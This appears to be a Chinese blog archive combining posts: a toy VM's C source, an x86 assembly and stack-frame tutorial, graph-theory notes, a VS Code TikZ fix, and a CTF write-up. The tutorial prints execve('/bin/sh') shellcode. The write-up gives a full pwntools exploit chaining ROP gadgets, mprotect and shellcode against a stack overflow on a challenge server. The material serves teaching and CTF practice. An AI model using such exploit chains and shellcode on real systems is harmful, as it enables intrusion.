    r6=(r5==1)?(n):(r6+2);
}

void je(uint8_t n){
    r6=(r5==2)?(n):(r6+2);
}

void nor(uint16_t* r){
    *r=~(*r);
    r6++;
    r6++;
}


void shl(uint16_t* r){
    *r=(*r)<<1;
    r6++;
    r6++;
}

void pac(uint16_t* r){
    putchar(((uint8_t*)(&sysmm))[*r]);
    r6++;
    r6++;
}

void incr(uint16_t* r){
    (*r)++;
    r6++;
    r6++;
}

void decr(uint16_t* r){
    (*r)--;
    r6++;
    r6++;
}


void gac(uint16_t* r){
    ((uint8_t*)(&sysmm))[*r]=getchar();
    r6++;
    r6++;
}


void add(uint16_t* rd,uint16_t* rs){
    *rd=(*rd)+(*rs);
    r6++;
    r6++;
    r6++;
}


void and(uint16_t* rd,uint16_t* rs){
    *rd=(*rd)&(*rs);
    r6++;
    r6++;
    r6++;
}


void or(uint16_t* rd,uint16_t* rs){
    *rd=(*rd)|(*rs);
    r6++;
    r6++;
    r6++;
}

void xor(uint16_t* rd,uint16_t* rs){
    *rd=(*rd)^(*rs);
    r6++;
    r6++;
    r6++;
}

void movrr(uint16_t* rd,uint16_t* rs){
    *rd=*rs;
    r6++;
    r6++;
    r6++;
}

void movmtr(uint16_t* rd,uint16_t* rs){
    *rd=((uint8_t*)(&sysmm))[*rs]+((uint8_t*)(&sysmm))[*rs+1]<<8;
    r6++;
    r6++;
    r6++;
}

void movrtm(uint16_t* rd,uint16_t* rs){
    ((uint8_t*)(&sysmm))[*rd]=LOBYTE(*rs);
    ((uint8_t*)(&sysmm))[*rd+1]=HIBYTE(*rs);
    r6++;
    r6++;
    r6++;
}

void cmpl(uint16_t* rd,uint16_t* rs){
    r5=(*rd>*rs)?3:0;
    r6++;
    r6++;
    r6++;
}

void cmps(uint16_t* rd,uint16_t* rs){
    r5=(*rd<*rs)?1:0;
    r6++;
    r6++;
    r6++;

}

void cmpe(uint16_t* rd, uint16_t* rs){
    r5=(*rd==*rs)?2:0;
    r6++;
    r6++;
    r6++;
}

void sub(uint16_t* rd,uint16_t* rs){
    *rd=(*rd)-(*rs);
    r6++;
    r6++;
    r6++;
}

void ldr(uint16_t* rd,uint16_t n){
    (*rd)=n;
    r6+=4;
}

void call(uint8_t n){
    push(&r6);
    r6=(uint16_t)n;
}

void jne(uint8_t n){
    r6=(r5!=2)?(n):(r6+2);
}

void jns(uint8_t n){
    r6=(r5!=1)?(n):(r6+2);
}

void jnl(uint8_t n){
    r6=(r5!=3)?(n):(r6+2);
}

operator.h

#ifndef OPERATOR_H
#define OPERATOR_H

#define HIBYTE(r) (((r)>>8)&0xff)
#define LOBYTE(r) ((r)&0xff)

typedef void (*op_a0)();
typedef void (*op_a1)(uint16_t*);
typedef void (*op_a2)(uint16_t*,uint16_t*);
typedef void (*op_rn)(uint16_t*,uint16_t);
typedef void (*op_n)(uint8_t);

void inc0();
void dec0();
void nop();
void ret();
void push(uint16_t* r);
void pop(uint16_t* r);
void jmp(uint8_t n);
void jl(uint8_t n);
void js(uint8_t n);
void je(uint8_t n);
void nor(uint16_t* r);
void shl(uint16_t* r);
void pac(uint16_t* r);
void incr(uint16_t* r);
void decr(uint16_t* r);
void gac(uint16_t* r);
void jne(uint8_t n);
void jns(uint8_t n);
void jnl(uint8_t n);
void add(uint16_t* rd,uint16_t* rs);
void and(uint16_t* rd,uint16_t* rs);
void or(uint16_t* rd,uint16_t* rs);
void xor(uint16_t* rd,uint16_t* rs);
void movrr(uint16_t* rd,uint16_t* rs);
void movmtr(uint16_t* rd,uint16_t* rs);
void movrtm(uint16_t* rd,uint16_t* rs);
void cmpl(uint16_t* rd,uint16_t* rs);
void cmps(uint16_t* rd,uint16_t* rs);
void cmpe(uint16_t* rd, uint16_t* rs);
void sub(uint16_t* rd,uint16_t* rs);
void ldr(uint16_t* rd,uint16_t n);
void call(uint8_t n);

#endif

memory.c

#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "memory.h"
#include "operator.h"
#include "registers.h"

// uint16_t stack[STACK_SIZE]={0};

mm sysmm;

void load_text(uint8_t* buf,uint8_t n){
    memcpy(sysmm.text,buf,n);
    r6=0;
}

void load_ftable(){
    memset(sysmm.ftable,0,sizeof(sysmm.ftable));
    sysmm.ftable[0x10]=(uint64_t)inc0;
    sysmm.ftable[0x11]=(uint64_t)dec0;
    sysmm.ftable[0x12]=(uint64_t)nop;
    sysmm.ftable[0x13]=(uint64_t)ret;
    // sysmm.ftable[0x14]=(uint64_t)debug;
    sysmm.ftable[0x20]=(uint64_t)push;
    sysmm.ftable[0x21]=(uint64_t)pop;
    // sysmm.ftable[0x22]=jmp;
    // sysmm.ftable[0x23]=jl;
    // sysmm.ftable[0x24]=js;
    // sysmm.ftable[0x25]=je;
    sysmm.ftable[0x26]=(uint64_t)nor;
    sysmm.ftable[0x27]=(uint64_t)shl;
    sysmm.ftable[0x28]=(uint64_t)pac;
    sysmm.ftable[0x29]=(uint64_t)incr;
    sysmm.ftable[0x2a]=(uint64_t)decr;
    sysmm.ftable[0x2b]=(uint64_t)gac;
    // sysmm.ftable[0x2c]=jns;
    // sysmm.ftable[0x2d]=jnl;
    sysmm.ftable[0x40]=(uint64_t)add;
    sysmm.ftable[0x41]=(uint64_t)or;
    sysmm.ftable[0x42]=(uint64_t)xor;
    sysmm.ftable[0x43]=(uint64_t)movrr;
    sysmm.ftable[0x44]=(uint64_t)movmtr;
    sysmm.ftable[0x45]=(uint64_t)movrtm;
    sysmm.ftable[0x46]=(uint64_t)cmpl;
    sysmm.ftable[0x47]=(uint64_t)cmps;
    sysmm.ftable[0x48]=(uint64_t)cmpe;
    sysmm.ftable[0x49]=(uint64_t)sub;
    sysmm.ftable[0x60]=(uint64_t)ldr;
    sysmm.ftable[0x80]=(uint64_t)call;
    sysmm.ftable[0x81]=(uint64_t)jne;
    sysmm.ftable[0x82]=(uint64_t)jns;
    sysmm.ftable[0x83]=(uint64_t)jnl;
    sysmm.ftable[0x84]=(uint64_t)jmp;
    sysmm.ftable[0x85]=(uint64_t)jl;
    sysmm.ftable[0x86]=(uint64_t)js;
    sysmm.ftable[0x87]=(uint64_t)je;
}

void exec_text(){
    int i=0;
    while (sysmm.ftable[sysmm.text[r6]]!=0&&sysmm.text[r6]!=0&&i!=0x200)
    {
        i++;
        if (sysmm.text[r6]>=0x10&&sysmm.text[r6]<0x20)
        {
            ((op_a0)sysmm.ftable[sysmm.text[r6]])();
        }
        else if (sysmm.text[r6]>=0x20&&sysmm.text[r6]<0x40)
        {
            ((op_a1)sysmm.ftable[sysmm.text[r6]])(ra[sysmm.text[r6+1]]);
        }
        else if (sysmm.text[r6]>=0x40&&sysmm.text[r6]<0x60)
        {
            ((op_a2)sysmm.ftable[sysmm.text[r6]])(ra[sysmm.text[r6+1]],ra[sysmm.text[r6+2]]);
        }
        else if (sysmm.text[r6]>=0x60&&sysmm.text[r6]<0x80)
        {
            ((op_rn)sysmm.ftable[sysmm.text[r6]])(ra[sysmm.text[r6+1]],sysmm.text[r6+2]+(sysmm.text[r6+3]<<8));
        }
        else if (sysmm.text[r6]>=0x80&&sysmm.text[r6]<0x90)
        {
            ((op_n)sysmm.ftable[sysmm.text[r6]])(sysmm.text[r6+1]);
        }
        
        // debug();
        
    }
    
}


void debug(){
    printf("-------------\n");
    for (size_t i = 0; i < RNUM; i++)
    {
        printf("r%d=%d\n",i,*ra[i]);
    }
    // r6++;
    
}

memory.h

#ifndef STACK_H
#define STACK_H
#include <stdint.h>

#define STACK_SIZE 0x100
#define GLOBAL_SIZE 0x1000
#define TEXT_SIZE 0x100
#define FTABLE_SIZE 0x100


// extern uint16_t stack[STACK_SIZE];
typedef struct memory
{
    uint16_t stack[STACK_SIZE];
    uint16_t global[GLOBAL_SIZE];
    uint8_t text[TEXT_SIZE];
    uint64_t ftable[FTABLE_SIZE];
}mm;

extern mm sysmm;

void load_text(uint8_t* buf,uint8_t n);
void load_ftable();
void exec_text();
void debug();

#endif

编译

gcc vm.c memory.c operator.c registers.c -o vm -z lazy

编译环境

ubuntu20.04标准镜像

栈与函数

2024-12-05T12:58:44.000Z

汇编中的栈和函数

linux可执行文件装载过程

程序文件不等于进程。当一个程序运行时，操作系统会先把程序文件从磁盘中映射到内存中。程序文件中的段会被对应的映射到内存中对应的段（比如程序文件中的 .text 段映射到内存中的 .text 段）。这个过程中有对应的规则，在现在的x86架构的linux中，每个进程都有一个独立的虚拟内存空间，大小为 4GB ，操作系统会将该进程用到的内存再次映射到物理内存，所以针对一个进程，我们只需关注其进程空间的内存分布即可，操作系统会帮我们管理物理内存。

其中，读写段和只读段都是有程序文件本身映射到内存中得到的，而剩下的部分则是随着程序的运行，由进程创建的。我们调试时看到的内存就是进程空间中的内存，在 pwndbg 中，你可以用 vmmap 查看程序内存布局和权限情况（读写执行权限）。

函数栈帧

我们想要在一个函数中调用另一个函数，但每个函数都会用到相同的寄存器比如 esp ebp eax eip 等等，我们如何在调用时保存上一个函数的状态呢？我们需要一种 FILO （先进后出）的数据结构（因为先调用的函数最后恢复状态），就是栈。

在一个进程中，所有的函数都共用一个栈，即上图中的用户栈，正在调用的函数越多，栈越大。其中一个函数在栈上保存信息的那部分栈，叫做该函数的栈帧。

esp 叫栈顶寄存器，总是指向当前函数栈帧的栈顶； ebp 叫栈基址寄存器，总是指向当前函数栈帧的栈底。当然，由上面的图可知，栈顶在地址上总是比栈底要小的，即栈向低地址方向增长。

上图中 esp ebp 指向的地址即为当前这两个寄存器的值。

函数的序幕与尾声

先复习一下这几条指令：

push 可以接一个立即数或一个寄存器操作数，将一个值压入栈中。例： push eax 等效于 sub esp,4; mov [esp],eax
pop 接一个寄存器，将栈中的值弹入寄存器中。例：pop eax 等效于 mov eax,[esp]; add esp,4
leave 不接任何东西，在一个函数结束的时候调用。例：leave 等效于 mov esp,ebp; pop ebp
call 调用一个函数，后面接一个地址（或者说是标签）。例：call printf 等效于 push eip; jmp printf
ret 从一个函数中返回到原来的执行位置，什么也不接。例：ret 等效于 pop eip

若你用反汇编工具观察过几个C语言程序，你会发现几乎每个函数都有这样的开头和结尾：

push ebp
mov ebp,esp
sub esp,40h     ;这里的立即数取决于函数的局部变量
;   ...
leave
ret

这几条指令都与栈帧的管理有关。此外，用于调用函数的 call 也与函数的栈帧有关。

下面我们以图示的形式演示x86架构linux系统程序 函数的序幕与尾声 （上面那段代码）干了什么，对栈有什么改变。

函数调用之前，应该已经存在这样的结构：

这里的参数1、参数2等是即将被调用的函数的参数，他们在该函数被调用之前就已经被倒序压入栈中（通过 push 指令）。ebp现在还指向上一个函数的栈底。

当调用该函数时，即执行 call func 指令时，函数的返回地址被压入栈中。这个地址指导着：当被调用函数结束后，主函数（调用者）应该执行哪条指令（因为此时 eip 早已改变）。

当进入该函数时，即执行 push ebp 时，原来函数的 ebp 值被压入栈中，这是为了该函数调用结束后 ebp 能恢复到原来的值。栈的结构如下：

接着是一个 mov ebp,esp 指令，将 ebp 的值改为栈顶地址，目的是以当前栈顶为基址，开辟一个新的栈帧。

然后 sub esp,40h ，这里开辟了一个 0x40 字节大小的栈空间，用来储存当前函数的局部变量。

在函数内部执行完一些操作后，我们开始进入 函数的尾声 。

leave 指令相当于 mov esp,ebp; pop ebp ，即将栈顶移至栈帧基址处，相当于销毁栈帧，再将原来储存在栈中的 ebp 的旧值（主函数的栈帧基址）恢复到 ebp 寄存器中。

最后，ret 指令，即相当于 pop eip ，将函数的返回地址弹出到指令寄存器中，下一步将执行主函数被调用前的下一条指令，栈的布局恢复到函数被调用前：

至于栈中的参数1、参数2等，则由主函数在调用前压入栈中。当然，如果是x64架构的linux，前六个参数用寄存器传参，分别为 rdi rsi rdx rcx r8 r9 ，剩余的参数则还由栈传递，即会被先压入栈中。（这也是为什么x64栈溢出会用到ROP技术，可以自行查询）

最后附上一张各种状态下栈帧结构图

汇编简介

2024-12-05T12:40:15.000Z

基本概念

指令：即控制cpu的指令，相当于一个或一串对cpu有意义的字节。不同设计的cpu会有不同的指令架构（这与硬件有关）。

机器码：cpu能直接执行的一个或一串字节。

汇编语言：是机器码的助记符。

寄存器：在cpu中的、可以快速访问的少量存储器。

不同的cpu有不同的指令集，对应的汇编语言也有不同的语法，使用的寄存器也不同。（比如intel的x86、x64架构，ARMv8架构，mips架构，在接下来的课程中，我们着重于x86、x64架构的汇编讲解）

同一架构下汇编语言的语法也可能有所不同，比如x64有AT&T语法、intel风格语法。此外，不同编译器之间也有一些较小的差异，比如masm和nasm。

下面给出上面四个概念的对应例子：

intel语法风格

push rbp    ; 0x55
nop         ; 0x90

上面的汇编语言片段中，push rbp 是一条汇编指令，它对应的机器码是 0x55 ，它的含义是将 rbp 寄存器中的值压入栈中。

AT&T语法风格

pushq %rbp
nop

基于方便的理由，我们这节课暂且以nasm编译器、intel风格语法为例编写汇编程序。

nasm编译器的安装和使用

ubuntu:
```
sudo apt install nasm
```
windows:

官网下载地址

下载后添加到系统PATH环境变量

检查： nasm --version

新建一个文件 hello.asm ，输入如下内容：

; Intel 格式
; Hello.asm
section .data           ; 数据段声明
          msg db "Hello World!",0xA   ; 要输出的字符串
          len equ $ -msg              ; 字符串长度
section .text                         ; 代码段声明
global _start                         ; 指定入口函数
_start:                               ; 在屏幕上显示一个字符串
          mov edx, len                ; 参数三：字符串长度
          mov ecx, msg                ; 参数二：要显示的字符串
          mov ebx, 1                  ; 参数一：文件描述符（stdout）
          mov eax, 4                  ; 系统调用号（sys_write）
          int 0x80                    ; 调用内核功能
                                      ; 退出程序
          mov ebx, 1                  ; 参数一：退出代码
          mov eax, 1                  ; 系统调用号（sys_exit）
          int 0x80                    ; 调用内核功能

保存退出后，在终端输入

nasm -f elf64 helloworld.asm -o hello.o
ld hello.o -o hello

即可生成可执行文件 hello ，执行它，将会打印一条helloworld

认识寄存器

在x86架构中，寄存器通常分为以下几类：

通用寄存器
标志寄存器
指令寄存器
段寄存器
...

（还有一些寄存器目前涉及不到，上面几个是现阶段逆向最常用的）

至于x64架构，只是将上面一些寄存器进行了拓展。

通用寄存器

x86系统通用寄存器有如下几个：

eax 通常是和函数的返回值
ebx 一般用来做数据存取
ecx 通常用来作为计数器
edx 乘除运算的默认操作数，也可以用作IO端口
edi 通常与字符串操作有关
esi 通常与字符串操作有关
esp 栈顶寄存器
ebp 栈基址寄存器

当然，上面所述都是其常用功能，即高级语言编译器的用法，这几个寄存器也可以做另外用途，自己写汇编的时候不一定遵守其通常行为。

上述这些寄存器储存大小都是32位，即4字节。若想访问其低16位，可以把前面的 e 去掉，比如 ax si 等等。

针对x64架构，这些寄存器全部由 r 打头，如 rax ，储存空间变为64位。另外，x64还新增了8个通用寄存器，即 r8-r15

64	低32	低16	低8
rax	eax	ax	al
rbx	ebx	bx	bl
rcx	ecx	cx	cl
rdx	edx	dx	dl
rsi	esi	si	sil
rdi	edi	di	dil
rbp	ebp	bp	bpl
rsp	esp	sp	spl
r8	r8d	r8w	r8b
r9	r9d	r9w	r9b
r10	r10d	r10w	r10b
r11	r11d	r11w	r11b
r12	r12d	r12w	r12b
r13	r13d	r13w	r13b
r14	r14d	r14w	r14b
r15	r15d	r15w	r15b

ax-dx 可访问其高八位为 ah-dh

标志位寄存器

这个寄存器中有很多标志位，用于储存cpu执行指令的一些状态。

指令寄存器

x86下指令寄存器叫 eip ，x64下叫 rip ，他们存放着cpu下一条指令所存放的地址， pwn中劫持程序控制流本质上就是修改指令寄存器到期望的地址而完成的。

段寄存器

x86和x64架构都有如下几个段寄存器，它们都是16位的

cs 代码段
ds 数据段
ss 栈段
es 拓展段
fs 数据段
gs 数据段

段寄存器的知识略显复杂，尤其在x86和x64的保护模式下，暂且不论。有兴趣的同学可以参考一口气看完45个寄存器，CPU核心技术大揭秘

认识一些常见的指令

mov

我们先来根据上面 helloworld.asm 程序来讲解

_start:                               
        mov edx, len                
        mov ecx, msg                
        mov ebx, 1                  
        mov eax, 4                  
        int 0x80                    

        mov ebx, 1                  
        mov eax, 1                   
        int 0x80

首先是 mov 指令，格式为 mov a,b ，用c语言类比则是 a=b; 。在intel风格的语法中（也就是现在我们展示的语法），a 叫做目的操作数 ，b 叫做源操作数。目的操作数和源操作数有一定的规则，以下语法允许的：

源操作数 `b`	目的操作数 `a`
立即数	寄存器
立即数	内存
寄存器	寄存器
寄存器	内存
内存	寄存器

注：在intel风格语法中，目的操作数在前，源操作数在后；在AT&T语法中，目的操作数在后，源操作数在前。

立即数：cpu将指令的一部分解释成数据，这部分数据称为立即数。比如说 mov ebx, 1 中的 1 即为立即数。如果你查看 mov ebx, 1 的机器码（bb 01 00 00 00），你会发现这部分数据确实是存在于指令中的。

在这里，你可能会对上面的机器码有所疑问，在这里先做解答：

为什么1是四字节？因为ebx是四字节的寄存器。
为什么1是倒序的？因为遵循小端序储存。小端序是指一个整数储存在内存中时，其低位（偏小的位）对应低地址，高位对应高地址。上面指令中 bb 端是低地址方向，所以 1 储存在低地址方向。
为什么是01而不是10？因为显示的时候以一个字节为单位进行显示，事实上其二进制应为 1000 0000

那么内存是怎么体现的？

在nasm语法中，[...] 用以表示取 ... 的值作为地址，该地址中的值，...是一个有效表达式。比如 mov eax,[ebx] 约等于c语言中的 eax=*ebx ，相当于 ebx 是一个指针。下面举出一些例子供大家体会：

mov eax,[ebx*2+ecx+2]
mov eax,[ebx*5]
;下面使用了标签
mov ebx,[label1+label2*2]

标签：在nasm语法中，你可以在数据声明或指令前面写一个标签，你在编程中可以引用这个标签，这等价于引用此处指令或声明的地址。

例如 helloworld.asm 中，msg 和 _start 都是标签。标签可以加冒号，也可以不加冒号。标签会在数据引用和跳转上带来极大的便利。

常量

equ 定义一个符号，代表一个常量值：当使用 equ 时，源文件行上必须包含一个label。 equ 的行为就是把给出的label的名字定义成它的操作数(唯一)的值。该定义是不可更改的。

上述 helloworld.asm 中的 len 就是一个例子。它相当于在编译期间将所有 len 都换成一个立即数。

int 0x80

经过上面的学习，你应该已经了解了 _start 标签下面4行汇编指令的意思，接着的指令是 int 0x80。它向系统发出 0x80 的软中断指令，使系统进入内核态 ，并根据一些通用寄存器中的值进行系统调用。你可以理解为调用操作系统（linux）的函数。

进行系统调用时，eax 储存的是系统调用号，并分别由 ebx 、ecx 、edx 、esi 、edi 传递第1-5个参数。系统调用号决定了调用系统哪个函数。

在本例中，前面一段的系统调用号是 4 ，写成c语言是 write(stdout,msg,len); ，而下面一段则是 exit(0); 。

Linux X86架构 32 64系统调用表

针对 `helloworld.asm` 的其他东西

section

section 是一个伪指令，用于表示声明一个段，如数据段、代码段、bss段等，这与程序运行时内存分布相对应。

global

global 也是一个伪代码，表示导出符号到其他模块。

数据声明

在声明以初始化的数据的时候，db dw dd dq 分别代表以1、2、4、8个字节为单位，前面需要加上一个标签，相当于指针。

相对的，声明未初始化数据的时候（声明在bss段），使用 resb resw resd resq，后面加上以前面声明类型为单位的数据量，比如 label1 resb 64 （声明一个64字节的未初始化变量）。

$与$$

$表示从它所在源代码行在编译后的起始地址，$$表示从当前段的起始地址。

所以 $-msg 表达的是当前源码地址减去 msg 起始地址，即得到 msg 字符串长度

lea

lea 指令用于加载有效地址，用法如下：

lea eax,[401080h] 将一个地址 401080h 写入 eax
lea eax,dword [ebx] 将储存了地址的 ebx 中的值写入 eax
lea eax, [ebx+ecx*4+8] 计算 ebx+ecx*4+8 的地址并写入 eax

在x64架构中也同理。

算数指令、逻辑指令

我们只先提及下面会用到的，其他指令建议自学了解。

add a,b 相当于 a=a+b ，其中 a 可以是一个寄存器或内存地址，b 可以是一个立即数、寄存器或内存地址。
sub a,b 相减，与上面同理。

asm:常见指令大全

栈与函数

这里的栈指的是程序运行时的栈，它由栈基址寄存器 ebp 和栈顶寄存器 esp 来管理。

00:0000│ rsp  0x7fffffffd640 ◂— 0x55460000000000
01:0008│      0x7fffffffd648 ◂— 0x85ddfd55f4464e00
02:0010│ rbp  0x7fffffffd650 ◂— 0x1
03:0018│      0x7fffffffd658 —▸ 0x7ffff7dd9d68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│      0x7fffffffd660 —▸ 0x7fffffffd750 —▸ 0x7fffffffd758 ◂— 0x38 /* '8' */
05:0028│      0x7fffffffd668 —▸ 0x5555555551e6 (main) ◂— endbr64
06:0030│      0x7fffffffd670 ◂— 0x155554040

这是一个64位程序main函数的栈（使用插件pwndbg）

push 可以接一个立即数或一个寄存器操作数，将一个值压入栈中。例： push eax 等效于 sub esp,4; mov [esp],eax
pop 接一个寄存器，将栈中的值弹入寄存器中。例：pop eax 等效于 mov eax,[esp]; add esp,4
leave 不接任何东西，在一个函数结束的时候调用。例：leave 等效于 mov esp,ebp; pop ebp
call 调用一个函数，后面接一个地址（或者说是标签）。例：call printf 等效于 push eip; jmp printf
ret 从一个函数中返回到原来的执行位置，什么也不接。例：ret 等效于 pop eip

可以通过上节课的 overflow32 程序逆向了解栈帧。

另，下面是一段经典的x86的shellcode

section .text
global _start
_start:
    xor    eax,eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp
    mov    ecx,eax
    mov    edx,eax
    mov    al,0xb
    int    0x80
    xor    eax,eax
    inc    eax
    int    0x80

编译链接：

nasm -f elf32 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode -m elf_i386

比较与跳转

汇编跳转指令: JMP、JECXZ、JA、JB、JG、JL、JE、JZ、JS、JC、JO、JP 等

汇编：比较&跳转

离散数学——图论总结归纳

2024-05-30T13:37:17.000Z

图论

图的基本概念

图的集合表示

图的表示 $G(V,E)$ ，其中 $V$ 为顶点集， $E$ 为边集，都为有限集.边集可以使有向边集，也可以是无向边集.

$V(G)$ ， $E(G)$ 表示图 $G$ 的顶点集和边集.

有序边的表示方法为 $e_i$ 或者 $<v_i,v_j>$ ，无序边的表示方法为 $e_i$ 或 $(v_i,v_j)$ .

其他一些基本概念

阶：顶点数，有 $n$ 个顶点即为 $n$ 阶图.
零图：一条边也没有的图. $n$ 阶零图记为 $N_n$ .一阶零图称为平凡图
空图：在运算中产生 $V$ 为空的情况，记为 $\varnothing$ .
基图：有向图变无向图称它的基图
环：
- 无向图中， $e_k=(v_i,v_j)$ ，称 $e_k$ 与 $v_i$ （或 $v_j$ ）关联；若 $v_i=v_j$ 则关联次数为 $2$ ，否则为 $1$ . 不关联则为 $0$ .
- 有向图中，有始终点之分.
- 在两种图中，有 $v_i=v_j$ 则称 $e_k$ 为环.
相邻：点有边连接，边有点连接，称这两个点（边）相邻.

简单图：既不含平行边，也不含环的图，称为简单图. 含平行边的为多重图.

在无向图，平行边只需要同连接两个顶点；在有向图中，平行边需要方向相同.
平行边的条数称为重数.

  graph LR
  subgraph 不是平行边
  direction LR
  a((v1))
  b((v2))
  a-->b
  b-->a
  end
  subgraph 是平行边
  direction LR
  c((v1))
  d((v2))
  c-->d
  c-->d
  end
  不是平行边 <---> 是平行边

度：记 $G$ $G$ 为无向图， $D$ $D$ 为有向图. 则 $v$ $v$ 作为端点的次数为度数，记为 $d_G(v)$ $d_{G} (v)$ . 有向图中分出度和入度，分别记为 $d_D^+(v)$ $d_{D}^{+} (v)$ 和 $d_D^-(v)$ $d_{D}^{-} (v)$ . （出为 $+$ ，入为 $-$ ，正好与电磁学中的通量相反）
- 最大度： $\Delta (G)$ ， $\Delta (D)$
- 最小度： $\delta (G)$ ， $\delta (D)$
- 最大/小出度： $\Delta ^+ (D)$ ， $\delta ^+ (D)$
- 最大/小入度： $\Delta ^- (D)$ ， $\delta ^- (D)$
悬挂顶点：度数为 $1$ ，与之关联的边为悬挂边.
奇度顶点/偶度顶点：无需解释.
握手定理
同构（ $\cong$ ）
彼得松图
完全图： $G$ 为 $n$ 阶无向简单图，每个顶点都与其余 $n-1$ 个顶点相连，则 $G$ 为 $n$ 阶（无向）完全图，记为 $K_n$ ；若为有向图，则为 $n$ 阶有向完全图.
$n$ 阶竞赛图： $n$ 阶有向简单图 $D$ 的基图为 $n$ 阶无向完全图 $K_n$ ，则称 $D$ 为 $n$ 阶竞赛图.
$k-$ 正则图： $G$ 为 $n$ 阶无向简单图，那么 $\forall v \in V(G), d(v)=k$ .
子图、母图、真子图、生成子图：对应子集、原集、真子集、点集相等的子集.

Guessing Game 1

2024-04-18T14:41:58.000Z

Guessing Game 1

关于 mprotect 函数的应用（其实完全可以用系统调用）

0x01 常规看看

题目给了三个文件，通过makefile可知程序是静态编译

gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

[*] '/home/kali/ctf/pwn/q36_guessing_game_1/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found 
    NX:       NX enabled
    PIE:      No PIE (0x400000)

事实上这次checksec有些不准，应没有canary

没开启栈保护

读源码发现存在栈溢出漏洞

#define BUFSIZE 100

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

此外，由于没有设种，随机数是伪随机数，另写一个程序便可知其随机数序列（要用linux编译运行）,这样我们就可以轻松利用这个漏洞了

0x02 初步分析

程序中没有 system() 函数和 /bin/sh 字符串，又是静态编译，无法像之前那样通过libc获取，只能使用shellcode了

但程序中栈不可执行，且无法得知栈的确切位置，只能通过别的方法注入shellcode

想到用shellcode覆盖一段bss段数据，然后将返回地址覆盖到该段执行shellcode。用gdb的 vmmap 命令查看，bss段可读可写不可执行，所以要想执行shellcode，就先要把bss段修改为可读可写可执行权限。

这里需要用到 mprotect() 函数。

0x03 mprotect()

linux中 mprotect() 可以用来修改一段指定内存区域的保护属性

函数原型：

#include <unistd.h>   
#include <sys/mmap.h>   
int mprotect(const void *start, size_t len, int prot);

参数：

start 修改权限开始地址，必须是一个内存页的起始地址，一页为 0x1000
len 修改长度
prot 权限属性
- PROT_READ=4 可读
- PROT_WRITE=2 可写
- PROT_EXEC=1 可执行
- PROT_NONE=0 没有以上三种权限

返回值：

0 success
-1 fail, 并且系统调用错误码被覆盖

如果对内存进行不合权限的操作，内核会产生 Segmentation fault

这里我们希望bss段可读可写可执行，应将 prot 置为 7

0x04 Pwn it！

由于是64位程序，传6个以内的参数依次由 rdi,rsi,rdx,rcx,r8,r9进行，所以我们首先要找 gadget ，即形如 pop rdi;ret 的小片段以进行参数传递

ROPgadget --binary vuln --only "pop|ret" | grep -E "rdi|rsi|rdx"

0x0000000000482776 : pop rax ; pop rdx ; pop rbx ; ret
0x00000000004026f5 : pop rdi ; pop rbp ; ret
0x0000000000400696 : pop rdi ; ret
0x000000000047099d : pop rdi ; ret 0xfffd
0x000000000044cc24 : pop rdx ; pop r10 ; ret
0x0000000000482777 : pop rdx ; pop rbx ; ret
0x000000000044cc49 : pop rdx ; pop rsi ; ret
0x000000000044cc26 : pop rdx ; ret
0x00000000004026f3 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000400694 : pop rsi ; pop r15 ; ret
0x000000000041025e : pop rsi ; pop rbp ; ret
0x0000000000410ca3 : pop rsi ; ret

于是可以在处理好随机数后构造 payload1 ，给bss段提权

rdi_addr=0x0000000000400696
rsi_addr=0x0000000000410ca3
rdx_addr=0x000000000044cc26
payload1=b'a'*120+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(buf_size)+p64(rdx_addr)+p64(buf_prot)+p64(mprotect_addr)+p64(main_addr)

接着在下一轮中用 read 读入shellcode

payload2=b'a'*120+p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(shellcode_addr)+p64(rdx_addr)+p64(29)+p64(read_addr)+p64(main_addr)

最后再执行shellcode

payload3=b'a'*120+p64(shellcode_addr)

0x05 exp

from pwn import *
ip="124.16.75.117"
port=51001
conn=connect(ip,port)
#conn=process("./pwn/q36_guessing_game_1/vuln")
context.log_level="debug"
bss_addr=0x00000000006BC000
mprotect_addr=0x000000000044B480
buf_size=0x1000
buf_prot=0x7
rdi_addr=0x0000000000400696
rsi_addr=0x0000000000410ca3
rdx_addr=0x000000000044cc26
return_addr=0x0000000000400CEE
main_addr=0x0000000000400C8C
write_addr=0x000000000044A770
read_addr=0x000000000044A6A0
shellcode_addr=0x00000000006BC554
shellcode=b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'

print(conn.recvuntil(b"What number would you like to guess?\n"))
conn.sendline(b'84')

print(conn.recvuntil(b'!\nName?'))
payload1=b'a'*120+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(buf_size)+p64(rdx_addr)+p64(buf_prot)+p64(mprotect_addr)+p64(main_addr)
conn.sendline(payload1)



print(conn.recvuntil(b"What number would you like to guess?\n"))
conn.sendline(b'87')
print(conn.recvuntil(b'!\nName?'))
payload2=b'a'*120+p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(shellcode_addr)+p64(rdx_addr)+p64(29)+p64(read_addr)+p64(main_addr)
conn.sendline(payload2)
conn.send(shellcode)


print(conn.recvuntil(b"What number would you like to guess?\n"))
conn.sendline(b'78')
print(conn.recvuntil(b'!\nName?'))
payload3=b'a'*120+p64(shellcode_addr)
conn.sendline(payload3)
conn.interactive()

0x06 其他的做法

Guessing Game 1 | 7Rocky

解决vscode无法对markdown源码中新定义语言(tikz)高亮的问题

2024-03-08T06:47:00.000Z

解决vscode无法对markdown源码中新定义语言(tikz)高亮的问题

问题原因

刚刚配置了可用在hexo用于画图的tikz插件（hexo-filter-tikzjax），链接如下：使用 TikZ 在 Hexo 博客中愉快地画图

其中插入的代码要这样写

```tikz
\begin{document}
\begin{tikzpicture}
......
\end{tikzpicture}
\end{document}
```

但这样的话，vscode就无法将其识别为latex语言而不进行高亮，如下图

所以必须要修改vscode配置文件

解决方法

